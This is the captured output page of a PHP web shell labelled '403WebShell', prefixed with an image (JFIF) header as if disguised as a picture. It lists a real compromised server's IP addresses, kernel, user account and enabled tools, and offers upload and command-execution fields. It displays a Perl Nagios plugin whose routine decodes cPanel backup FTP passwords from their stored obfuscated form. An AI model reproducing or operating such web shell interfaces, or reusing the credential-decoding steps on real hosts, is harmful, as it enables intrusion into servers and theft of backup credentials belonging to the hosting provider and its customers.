����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.31.240
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_backup_cpanel
#!/usr/bin/env perl
use extreme;
use strict;
use File::Slurp;
use POSIX qw(strftime);
use WHM::Client;
use Carp;
use YAML::XS 'LoadFile';
use Net::FTP;
use Date::Parse;
use Time::Piece;

my @incidents;
my $exit_code  = 0;
my $today_date = strftime "%F", localtime;
my $today_hour = strftime "%H", localtime;
my $bkp_end    = '/usr/local/cpanel/tmp/backup_finished';
my $bkp_ok     = '/var/tmp/backup_ok';
my $bkp_bl     = '/var/tmp/backup_bl';
my $bkp_wl     = '/etc/icinga2/plinc/backupwhitelist';

unlink $bkp_end, $bkp_ok, $bkp_bl if $today_hour <= 1;

my @bl = read_file( $bkp_bl, chomp => 1 ) if -f $bkp_bl;
@bl = () if !@bl;
my @wl = read_file( $bkp_wl, chomp => 1 ) if -f $bkp_wl;
@wl = () if !@wl;
my @recreated = get_recreated();

my $config_file = "/etc/backup.conf";
my $conf->%* = map { chomp; split /\s*=\s*/ } read_file($config_file)
  if -r $config_file;
$conf->{warning_h}  //= 17;
$conf->{critical_h} //= 20;

# check if backup is still in progress
my $transporter = `ps aux | grep cpbackup_transporter | grep -v grep`;
my $backup_status_ok = -f $bkp_ok;
my $backup_in_progress = 0;
if ( !-f $bkp_end || $transporter ) {
    $exit_code = 1 if $today_hour > $conf->{warning_h};
    $exit_code = 2 if $today_hour > $conf->{critical_h};
    if ( $exit_code > 0 ) {
        push @incidents, "Backup is still running. Maybe something goes wrong. Check it, or adjust {warning,critical}_h in /etc/backup.conf";
    } else {
        $backup_in_progress = 1;
    }
}

my $whm_cli    = WHM::Client->local;
my $users_info = $whm_cli->listaccts();

my ( $ftp_host, $ftp_user, $ftp_pass, $ftp_name, $ftp_path )
  = get_ftp_credentials();

my $ftp = Net::FTP->new( $ftp_host, Debug => 0 );
$ftp->login( $ftp_user, $ftp_pass );
$ftp->cwd("$ftp_path/$today_date/accounts");
my @user_archives = $ftp->ls;

# weekly and monthly backups
$ftp->cwd("$ftp_path/weekly/$today_date/accounts");
push @user_archives, $ftp->ls->@*;
$ftp->cwd("$ftp_path/monthly/$today_date/accounts");
push @user_archives, $ftp->ls->@*;
# until backups
my @until_backups;
if ($ftp->cwd("$ftp_path/until")) {
    for my $date ($ftp->ls) {
        next unless $ftp->cwd("$ftp_path/until/$date");
        push @until_backups, "$date - $_" for $ftp->ls;
    }
}
for my $account_info ($users_info->{acct}->@*) {   
    my $user = $account_info->{user};   
    next if grep {$user} (@bl, @wl, @recreated);
    if ($account_info->{suspended}){
        my $current_time = time();
        my $suspend_date = localtime($account_info->{suspendtime})->strftime('%F');
        my $suspend_duration = $current_time - $account_info->{suspendtime};
        my @suspend_archives;
        if ($suspend_duration > 3 * 3600 && $suspend_duration < 90 * 86400) {
            my $suspend_date_obj = Time::Piece->strptime($suspend_date, '%Y-%m-%d');
            for (0..3) {
                my $dir = "$ftp_path/suspended/" . ($suspend_date_obj - 86400 * $_)->strftime('%Y-%m-%d');
                push @suspend_archives, $ftp->ls if $ftp->cwd($dir);  
            }
            unless (grep { /$user\.tar\.gz$/ } @suspend_archives) {
                push @incidents, "No backup found for suspended user $user in /suspended/$suspend_date directory";
                $exit_code = 2;
            } 
        }
        if ($suspend_duration > 60 * 86400) {
            unless (grep { /\ $user\.tar\.gz$/ } @until_backups) {
                push @incidents, "No backup found for suspended user $user in /until directory";
                $exit_code = 2;
            }
        }
        next;   
    }
    next if $backup_in_progress;
    next if $backup_status_ok;
    next if (scalar( strftime "%F", localtime( $account_info->{unix_startdate} )) eq $today_date);    
    unless (grep { /$user\.tar\.gz$/ } @user_archives) {
        push @incidents, "Last backup for user '$user' not found";
        $exit_code = 2;
    }
}
if (!-f $bkp_end) {
    say "Backup process in progress";
}
elsif (@incidents) {
    say join( "\n", @incidents );
}
else {
    unlink $bkp_bl;
    open( my $FH, '>', $bkp_ok );
    say "backup OK";
}
exit $exit_code;

# SUBS

sub get_ftp_credentials {
    my $bkp_dir = '/var/cpanel/backups';
    opendir( my $dh, $bkp_dir ) || croak "opendir failed: $!";
    my @bkp_files = grep /\.backup_destination$/, readdir $dh;
    closedir $dh;
    croak 'backup files not found' if !@bkp_files;
    for my $bkp_file (@bkp_files) {
        my $config = LoadFile("$bkp_dir/$bkp_file");
        next if $config->{disabled} eq 1;
        if ( $config->{name} eq 'ftp_backup' ) {
            my $ftp_host = $config->{host};
            my $ftp_user = $config->{username};
            my $ftp_name = $config->{name};
            my $pre_pass = unpack( chr( ord('a') + 19 + print "" ),
                $config->{password} );
            my $ftp_pass = $pre_pass ^. '+' x ( length($pre_pass) );
            my $ftp_path = $config->{path};
            return ( $ftp_host, $ftp_user, $ftp_pass, $ftp_name, $ftp_path );
        }
        else {
            say "Unsupported backup plan";
            exit 2;
        }
    }
}

sub get_recreated {
    my $cur_time = localtime(time)->epoch;
    my $prefix = '/var/cpanel/';
    my $files = "$prefix/accounting.log";
    open ( my $fh, "-|", "tac", $files ) or die "$0: spawn tac failed: $!";
    my @users_create;
    while (my $line = <$fh>) {
        my ( $user, undef, undef, undef, undef, $status, $date, ) = split ( /:/, (reverse $line), 7);
        chomp($user = reverse ($user));
        $status = reverse ($status);
        $date = reverse ($date);
        next if ($status ne 'CREATE');
        my $time = str2time($date);
        next if ( ($cur_time - $time ) > 93600 );
        push(@users_create, $user);
    }
    close($fh);
    return @users_create;
}

Youez - 2016 - github.com/yon3zu
LinuXploit